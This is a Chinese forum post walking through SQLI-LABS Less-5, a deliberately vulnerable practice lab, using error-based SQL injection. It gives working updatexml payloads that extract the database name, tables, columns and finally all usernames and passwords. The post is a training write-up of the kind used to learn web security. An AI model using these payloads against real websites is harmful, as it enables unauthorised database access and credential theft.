ToB企服应用市场:ToB评测及商务社交产业平台

标题: SQLI-LABS(Less-5) [打印本页]

作者: 商道如狼道    时间: 2022-9-17 05:27
标题: SQLI-LABS(Less-5)
Less-5(Double injection-Single Quotes-String)

打开Less-5页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1。

从上图可以看出传入id=1并没有回显查询结果,接着试一下?id=1',发现在引号附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是单引号。
由于这里不回显查询结果,但是依然会显示报错信息,那么就不使用联合注入,而选择报错注入。

使用注入语句:?id=1' --+看看是否能够正常闭合并注释,从下图看出是没有问题的。

关于报错注入:
报错注入主要使用xpath语法错误来进行报错注入,主要利用extractvalue和updatexml两个函数。使用条件:·mysql版本>5.1.5。
确定当前数据库名

注入语句:?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+。其中,concat函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab',这样当爆出多个信息时,可以通过~进行分割。

从报错信息中可以看出,当前数据库为security。
确定数据库中的数据表

注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

确定users表中的列名

注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

通过上述注入可以得知users表中存在三列,分别为id、username、password。
确定users表中的用户名和密码

注入语句:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()函数每隔32位截取一次,最终拼凑出全部内容。
至此,就得到了当前表中所有的用户名和密码。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4